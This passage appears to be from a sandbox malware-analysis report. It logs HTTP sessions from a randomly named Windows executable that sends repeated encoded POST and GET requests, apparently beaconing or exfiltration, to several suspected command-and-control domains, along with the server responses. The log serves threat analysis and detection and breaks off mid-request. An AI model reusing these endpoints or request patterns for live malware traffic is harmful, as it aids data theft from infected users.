Nov 6, 2024 08:42:35.969991922 CET	611	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiYTcwMDA0NzQtZmNhOS00YjBjLTk0ZTYtODNkYmYxMGVkODE4IiwicGFnZV90aW1lIjoxNzMwODc4OT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	50033	199.59.243.227	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:42:37.893212080 CET	559	OUT	GET /geci/?SvrLY=3P8lALA&DDp=OUcUcMiN7UFwaCotsW6AMJwehyiwg2RPC2z6ZMYslxYDHrlwQ88kbad89mN4OjllqHqnU6tumNLMTG1picng1VYsD50x98ZhJyamHAiRPzZYiWViTqiNWtopHV1ePKkjcICWV3I= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.auto-deals-cz-000.buzz Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 6, 2024 08:42:38.519113064 CET	1236	IN	HTTP/1.1 200 OK date: Wed, 06 Nov 2024 07:42:38 GMT content-type: text/html; charset=utf-8 content-length: 1518 x-request-id: 45198989-4ce8-455c-b4e2-352dd1c4d277 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_axH+/K1799aoJvxPWN6oaQI68V4Fj/wRuDSyjO8F/Nk9XNyJKFUIzWYc4tbWgpSefk7jd+UVfhoy4nK3991IIw== set-cookie: parking_session=45198989-4ce8-455c-b4e2-352dd1c4d277; expires=Wed, 06 Nov 2024 07:57:38 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 61 78 48 2b 2f 4b 31 37 39 39 61 6f 4a 76 78 50 57 4e 36 6f 61 51 49 36 38 56 34 46 6a 2f 77 52 75 44 53 79 6a 4f 38 46 2f 4e 6b 39 58 4e 79 4a 4b 46 55 49 7a 57 59 63 34 74 62 57 67 70 53 65 66 6b 37 6a 64 2b 55 56 66 68 6f 79 34 6e 4b 33 39 39 31 49 49 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_axH+/K1799aoJvxPWN6oaQI68V4Fj/wRuDSyjO8F/Nk9XNyJKFUIzWYc4tbWgpSefk7jd+UVfhoy4nK3991IIw==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Nov 6, 2024 08:42:38.519882917 CET	971	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNDUxOTg5ODktNGNlOC00NTVjLWI0ZTItMzUyZGQxYzRkMjc3IiwicGFnZV90aW1lIjoxNzMwODc4OT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	50034	188.114.97.3	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:42:43.581168890 CET	798	OUT	POST /v58i/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.bzxs.info Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 208 Cache-Control: no-cache Origin: http://www.bzxs.info Referer: http://www.bzxs.info/v58i/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 44 44 70 3d 46 41 63 54 6f 4b 70 6a 4f 53 72 53 43 62 75 6f 36 73 6e 6b 44 36 69 30 2f 64 79 50 74 47 54 70 66 4e 55 67 6b 6b 76 56 68 2f 64 37 62 4a 43 4e 4d 38 79 6f 79 6f 76 4f 46 6c 46 4e 46 64 30 48 4d 41 54 4f 66 79 50 67 7a 69 76 35 37 2f 54 76 36 4c 57 79 62 4a 74 72 4b 63 70 2b 61 50 47 7a 58 48 39 33 30 49 42 68 4b 71 69 47 7a 50 6c 32 63 52 33 41 47 4f 53 52 51 62 72 50 75 43 4d 69 2f 57 42 65 35 78 44 70 2b 41 49 2f 59 4e 73 37 6c 49 59 56 45 5a 5a 74 2b 54 4b 43 6b 48 72 33 73 69 72 2f 78 70 69 30 6a 56 58 36 6c 69 34 61 6e 44 43 56 70 4e 49 67 4e 33 34 5a 56 4d 37 77 51 39 49 7a 63 73 61 79 76 62 79 4a Data Ascii: DDp=FAcToKpjOSrSCbuo6snkD6i0/dyPtGTpfNUgkkvVh/d7bJCNM8yoyovOFlFNFd0HMATOfyPgziv57/Tv6LWybJtrKcp+aPGzXH930IBhKqiGzPl2cR3AGOSRQbrPuCMi/WBe5xDp+AI/YNs7lIYVEZZt+TKCkHr3sir/xpi0jVX6li4anDCVpNIgN34ZVM7wQ9IzcsayvbyJ
Nov 6, 2024 08:42:44.565088987 CET	846	IN	HTTP/1.1 200 OK Date: Wed, 06 Nov 2024 07:42:44 GMT Content-Type: application/json; charset=utf-8 Content-Length: 41 Connection: close Vary: Origin Access-Control-Allow-Origin: http://www.bzxs.info cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lB%2BN1uXOivaKzfKNUn104r4F4fgwJpWW3gdtvGHFAuph05SS7SUvjPONhStOE6MWDf4cAYta8t1ukeRPKgFy3J3dppkGsi00pKbHuPXwuc7NuFsuK0hxuLtVpkwAIz8v"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8de372d59cdc315f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1618&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=798&delivery_rate=0&cwnd=241&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 7b 22 63 6f 64 65 22 3a 38 30 34 30 34 2c 22 6d 73 67 22 3a 22 52 65 73 6f 75 72 63 65 20 6e 6f 74 20 66 6f 75 6e 64 22 7d Data Ascii: {"code":80404,"msg":"Resource not found"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	50035	188.114.97.3	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:42:46.194065094 CET	822	OUT	POST /v58i/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.bzxs.info Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 232 Cache-Control: no-cache Origin: http://www.bzxs.info Referer: http://www.bzxs.info/v58i/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 44 44 70 3d 46 41 63 54 6f 4b 70 6a 4f 53 72 53 4e 66 53 6f 34 4c 37 6b 46 61 69 72 77 39 79 50 6b 6d 54 79 66 4e 59 67 6b 67 33 46 69 4a 31 37 59 71 57 4e 4e 39 79 6f 31 6f 76 4f 4b 46 46 49 42 64 30 63 4d 41 65 74 66 77 62 67 7a 69 37 35 37 39 4c 76 36 34 2b 39 4a 70 74 70 43 38 70 38 45 2f 47 7a 58 48 39 33 30 4d 51 4b 4b 71 36 47 79 38 39 32 4f 43 76 44 4c 75 53 53 48 72 72 50 6b 53 4d 59 2f 57 42 5a 35 7a 33 44 2b 43 67 2f 59 4d 63 37 6c 61 67 53 4f 5a 59 48 68 44 4c 76 6f 43 65 42 68 44 47 4f 36 61 32 76 69 6c 66 53 70 30 6c 41 37 77 43 32 37 64 6f 69 4e 31 67 72 56 73 37 61 53 39 77 7a 4f 37 57 56 67 76 58 71 63 41 6c 6b 33 63 34 75 72 61 63 70 6e 59 57 48 62 38 6c 4c 63 51 3d 3d Data Ascii: DDp=FAcToKpjOSrSNfSo4L7kFairw9yPkmTyfNYgkg3FiJ17YqWNN9yo1ovOKFFIBd0cMAetfwbgzi7579Lv64+9JptpC8p8E/GzXH930MQKKq6Gy892OCvDLuSSHrrPkSMY/WBZ5z3D+Cg/YMc7lagSOZYHhDLvoCeBhDGO6a2vilfSp0lA7wC27doiN1grVs7aS9wzO7WVgvXqcAlk3c4uracpnYWHb8lLcQ==
Nov 6, 2024 08:42:47.147092104 CET	846	IN	HTTP/1.1 200 OK Date: Wed, 06 Nov 2024 07:42:47 GMT Content-Type: application/json; charset=utf-8 Content-Length: 41 Connection: close Vary: Origin Access-Control-Allow-Origin: http://www.bzxs.info cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9HXpizlQy6sUmnjvUh58CprYt3ZfNDBQ0fpZohKKt4%2FQedrVdlkEn5RlcOsvpJVPFmOmDOr5Z7fphaVMplVUHwQAr82f4bK1it3RqyvNBZ7BC5GKoHAwdCgICSxhGI5J"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8de372e5b89de796-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1965&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=822&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 7b 22 63 6f 64 65 22 3a 38 30 34 30 34 2c 22 6d 73 67 22 3a 22 52 65 73 6f 75 72 63 65 20 6e 6f 74 20 66 6f 75 6e 64 22 7d Data Ascii: {"code":80404,"msg":"Resource not found"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	50036	188.114.97.3	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:42:48.732590914 CET	1835	OUT	POST /v58i/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.bzxs.info Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1244 Cache-Control: no-cache Origin: http://www.bzxs.info Referer: http://www.bzxs.info/v58i/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 44 44 70 3d 46 41 63 54 6f 4b 70 6a 4f 53 72 53 4e 66 53 6f 34 4c 37 6b 46 61 69 72 77 39 79 50 6b 6d 54 79 66 4e 59 67 6b 67 33 46 69 4a 39 37 62 59 4f 4e 4d 66 61 6f 30 6f 76 4f 44 6c 46 4a 42 64 31 4d 4d 41 57 78 66 77 58 57 7a 67 44 35 36 63 72 76 38 4a 2b 39 43 70 74 70 4f 63 70 39 61 50 47 36 58 48 74 7a 30 49 30 4b 4b 71 36 47 79 36 35 32 4e 52 33 44 4a 75 53 52 51 62 72 44 75 43 4e 57 2f 51 70 76 35 7a 7a 35 2b 53 41 2f 57 4d 4d 37 6e 70 59 53 55 5a 5a 68 67 44 4c 33 6f 43 61 53 68 44 61 56 36 5a 71 56 69 69 76 53 72 53 46 5a 70 79 48 67 34 75 49 69 54 56 46 56 4d 59 79 71 56 75 67 4e 41 4e 61 66 6d 62 58 57 61 57 5a 54 31 50 35 4d 6b 4d 67 69 72 76 4f 58 56 5a 59 7a 49 76 4d 72 31 58 75 66 65 68 36 56 75 2f 49 33 4f 4f 63 6a 35 51 55 39 55 64 4c 4b 70 75 4c 6b 79 44 30 36 2f 59 59 50 49 53 75 46 32 46 78 33 79 65 4d 54 6b 6a 6c 43 73 56 34 32 4b 7a 48 4e 69 4e 76 54 38 64 59 7a 6b 76 62 76 2b 42 34 4e 2b 4c 4c 34 5a 78 46 61 6d 64 68 73 67 2f 57 2f 71 6c 77 55 71 42 78 6a 55 48 4f 71 65 56 [TRUNCATED] Data Ascii: DDp=FAcToKpjOSrSNfSo4L7kFairw9yPkmTyfNYgkg3FiJ97bYONMfao0ovODlFJBd1MMAWxfwXWzgD56crv8J+9CptpOcp9aPG6XHtz0I0KKq6Gy652NR3DJuSRQbrDuCNW/Qpv5zz5+SA/WMM7npYSUZZhgDL3oCaShDaV6ZqViivSrSFZpyHg4uIiTVFVMYyqVugNANafmbXWaWZT1P5MkMgirvOXVZYzIvMr1Xufeh6Vu/I3OOcj5QU9UdLKpuLkyD06/YYPISuF2Fx3yeMTkjlCsV42KzHNiNvT8dYzkvbv+B4N+LL4ZxFamdhsg/W/qlwUqBxjUHOqeVT0HNVjlebhwF20k6ISD5ofN61Y+DpxtqLRH6nNCGVzOGYcyNWbDqM9SoWmaHQ2ZC6Edna8rTw7Pmk60BpfJ96yaIGre6j+Al71sCVkNhkJzFT6rRovxHYH8HDdzBV9WerUfi/s9T8ZxQoWAanJ4htbc6tofSIVwVvcL4PoH8bMcgSTYDWDr5+19T1t8EyjkAZZuc+pJarDK3gEXaLh7CBjpGNTCbdfxnPoU7p753Bg5uCGCCUyHxL4sQIG8w1dGFEnTUWIx4YEXC6Z5LRpp0bUWtWZGU1KHp+/djH8Vy/Pb+AkcWBRp7vsPWJZpDY55+x1MhFOpz3wiOoyNhNdArqJawgup+H7kSBBjJxBbfGkmmV22UMgdq3+qKCeZQQBLtdS/zo7Bjzhs1PMsuA8+g/gVIzCjHnuHlbNuKmmC1pv9Q8xtfkIOREZhP/E9hG7M1sSpxW5RVCDlwXsDsZNUMPNf6auX5pt2C8V15SVJFXrfJAyFn8+/5uaja/+DMRBRMq/1M7/7uIeNWlG/JDgK1OFGflFAjaEimDIok12B9ddknBL1M2Pyc42iqqoNQYXG00Is7aCxVnTFwGVbHeykp5BJatvTm449F83ythoFpAkDPC2g/8S3ECmToGfEqrJDiOY4d4bkYD1mEepKfKeHYk+JaCXbm4MTJaK [TRUNCATED]
Nov 6, 2024 08:42:49.746179104 CET	857	IN	HTTP/1.1 200 OK Date: Wed, 06 Nov 2024 07:42:49 GMT Content-Type: application/json; charset=utf-8 Content-Length: 41 Connection: close Vary: Origin Access-Control-Allow-Origin: http://www.bzxs.info cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=J%2BIdzOhV%2BNsQyEDRu2YIGw2USrCs%2FYsV71Hm2Sf9sl2JdXgkN2kA7T1sR953SWFX56WEX%2F2uRvG8o%2FXACYvwWy6O8ylhbY39fEnxbIRUV7z7xV5TYEwk%2B3xnn35jo8dT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8de372f5ddf82d35-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1300&sent=1&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1835&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 7b 22 63 6f 64 65 22 3a 38 30 34 30 34 2c 22 6d 73 67 22 3a 22 52 65 73 6f 75 72 63 65 20 6e 6f 74 20 66 6f 75 6e 64 22 7d Data Ascii: {"code":80404,"msg":"Resource not found"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	50037	188.114.97.3	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:42:51.283243895 CET	546	OUT	GET /v58i/?DDp=IC0zr/ZDVxaNAMf8momja46h3KrCsn6WQsgf7AvDnsA3Q4GKUMSc84jsP15lI7VDCiKPTCHe1ALE8uTr9rusPZ5vALoLFqWsTHRljYdsCfeo56EDBh/tAO+VOLzkgSIV0llmzE8=&SvrLY=3P8lALA HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.bzxs.info Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 6, 2024 08:42:52.286896944 CET	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 06 Nov 2024 07:42:52 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Vary: Origin set-cookie: locale=en-us; path=/; max-age=31557600; expires=Thu, 06 Nov 2025 13:42:52 GMT x-xss-protection: 1; mode=block x-content-type-options: nosniff x-download-options: noopen strict-transport-security: max-age=31536000; includeSubdomains x-frame-options: SAMEORIGIN cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ntPc25kEmC1ajuXatwuxMIq6piB7pNnnQ65qnRVu8s%2BGHY2NrPrkq7aSPYtKLT1tQ93dfg%2Fu8SmpG9zppjvFcsygWpBA6OxSDM7SArddCEF%2BbMRzij2I9JzTX60x%2FSxj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8de37305bc04e9bd-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1497&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=546&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 38 66 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 7a 68 2d 43 4e 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 74 69 74 6c 65 3e e5 bd ac e5 b1 95 e5 b0 8f e8 af b4 e7 bd 91 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 Data Ascii: 18f6<!DOCTYPE html><html lang=zh-CN><head><meta charset=UTF-8><meta name=viewport content="width=device-width,initial-scale=1"><title></title><meta na
Nov 6, 2024 08:42:52.286912918 CET	1236	IN	Data Raw: 6d 65 3d 6b 65 79 77 6f 72 64 73 20 63 6f 6e 74 65 6e 74 3d 22 e5 bd ac e5 b1 95 e5 b0 8f e8 af b4 e7 bd 91 2c 20 e5 8e 86 e5 8f b2 2c 20 e7 a9 bf e8 b6 8a 2c 20 e7 bd 91 e6 b8 b8 2c 20 e5 85 8d e8 b4 b9 e5 85 a8 e6 9c ac 2c 20 e9 9d 92 e6 98 a5 Data Ascii: me=keywords content=", , , , , , , , , , , , , , ,
Nov 6, 2024 08:42:52.286927938 CET	424	IN	Data Raw: 84 e6 ba 90 e5 85 8d e8 b4 b9 e4 b8 8b e8 bd bd 2c 20 e5 b0 8f e8 af b4 e4 b9 a6 e7 b1 8d e5 b9 b3 e5 8f b0 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 64 65 73 63 72 69 70 74 69 6f 6e 20 63 6f 6e 74 65 6e 74 3d 22 e5 bd ac e5 b1 95 e5 b0 8f e8 af b4 Data Ascii: , "><meta name=description content=" -
Nov 6, 2024 08:42:52.286940098 CET	1236	IN	Data Raw: e5 b0 8f e8 af b4 e7 83 ad e9 97 a8 e8 af 9d e9 a2 98 e5 b0 8f e8 af b4 e4 bd 9c e8 80 85 e4 b8 93 e6 a0 8f e5 b0 8f e8 af b4 e7 ab a0 e8 8a 82 e7 9b ae e5 bd 95 e5 b0 8f e8 af b4 e5 ae 8c e7 bb 93 e4 bd 9c e5 93 81 e5 b0 8f e8 af b4 e8 bf 9e e8 Data Ascii:
Nov 6, 2024 08:42:52.286948919 CET	1236	IN	Data Raw: 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 61 72 69 74 79 2e 6d 73 2f 74 61 67 2f 22 2b 69 3b 0a 20 20 20 20 20 20 20 20 79 3d 6c 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 72 29 5b 30 5d 3b 79 2e 70 61 72 65 6e 74 4e 6f 64 65 2e Data Ascii: tps://www.clarity.ms/tag/"+i; y=l.getElementsByTagName(r)[0];y.parentNode.insertBefore(t,y); })(window, document, "clarity", "script", "nvh240mhbp");</script></head><body><header class=container><div id=navbar><a href=/ class=brand
Nov 6, 2024 08:42:52.286959887 CET	1236	IN	Data Raw: 6c 61 73 73 3d 64 6f 6d 61 69 6e 2d 69 74 65 6d 3e 3c 61 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 65 67 71 62 2e 74 6f 70 20 63 6c 61 73 73 3d 64 6f 6d 61 69 6e 2d 6c 69 6e 6b 3e e5 b0 94 e5 86 a0 e5 b0 8f e8 af b4 3c 2f 61 3e 3c 2f 6c 69 3e 3c Data Ascii: lass=domain-item><a href=https://egqb.top class=domain-link></a></li><li class=domain-item><a href=https://mgnxs.com class=domain-link></a></li><li class=domain-item><a href=https://aiqb.top class=domain-link>
Nov 6, 2024 08:42:52.287024021 CET	868	IN	Data Raw: 68 74 74 70 73 3a 2f 2f 73 74 7a 71 62 2e 63 6f 6d 20 63 6c 61 73 73 3d 64 6f 6d 61 69 6e 2d 6c 69 6e 6b 3e e7 9b 9b e9 80 9a e5 b0 8f e8 af b4 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 64 6f 6d 61 69 6e 2d 69 74 65 6d 3e 3c 61 20 Data Ascii: https://stzqb.com class=domain-link></a></li><li class=domain-item><a href=https://dhqb.info class=domain-link></a></li><li class=domain-item><a href=https://zeqb.info class=domain-link></a></li><li class=do

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	50038	3.33.130.190	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:42:58.038606882 CET	828	OUT	POST /azb9/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.econsultoria.online Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 208 Cache-Control: no-cache Origin: http://www.econsultoria.online Referer: http://www.econsultoria.online/azb9/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 44 44 70 3d 71 49 51 66 65 65 2f 51 68 46 57 48 39 5a 32 54 4f 51 56 76 55 6b 49 2b 38 34 38 5a 55 78 6b 6e 59 51 37 2f 34 50 6f 48 6d 63 4d 6e 58 4c 47 58 4e 41 63 54 58 74 4f 6d 30 37 51 76 51 67 70 47 6d 5a 4d 4b 51 49 34 35 37 31 79 6f 50 47 58 61 51 79 4d 39 34 41 4f 42 48 32 2f 79 45 54 34 56 62 4c 44 6d 42 6b 73 55 6f 7a 68 34 36 4c 50 6b 67 48 6d 31 45 30 30 64 79 50 38 73 41 72 6f 5a 50 44 56 61 69 52 61 4b 66 4f 77 50 2b 58 66 37 34 37 4a 35 4f 65 38 34 66 59 4c 6e 4e 7a 6f 70 56 41 66 63 50 6a 31 65 47 6d 7a 4d 6e 38 59 70 37 70 34 2b 4b 38 71 6e 6e 7a 61 35 75 51 6f 61 35 49 6b 38 74 79 46 52 62 4a 52 77 Data Ascii: DDp=qIQfee/QhFWH9Z2TOQVvUkI+848ZUxknYQ7/4PoHmcMnXLGXNAcTXtOm07QvQgpGmZMKQI4571yoPGXaQyM94AOBH2/yET4VbLDmBksUozh46LPkgHm1E00dyP8sAroZPDVaiRaKfOwP+Xf747J5Oe84fYLnNzopVAfcPj1eGmzMn8Yp7p4+K8qnnza5uQoa5Ik8tyFRbJRw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	50039	3.33.130.190	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:43:00.580977917 CET	852	OUT	POST /azb9/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.econsultoria.online Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 232 Cache-Control: no-cache Origin: http://www.econsultoria.online Referer: http://www.econsultoria.online/azb9/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 44 44 70 3d 71 49 51 66 65 65 2f 51 68 46 57 48 39 34 47 54 4a 7a 74 76 42 55 49 2f 35 34 38 5a 4e 68 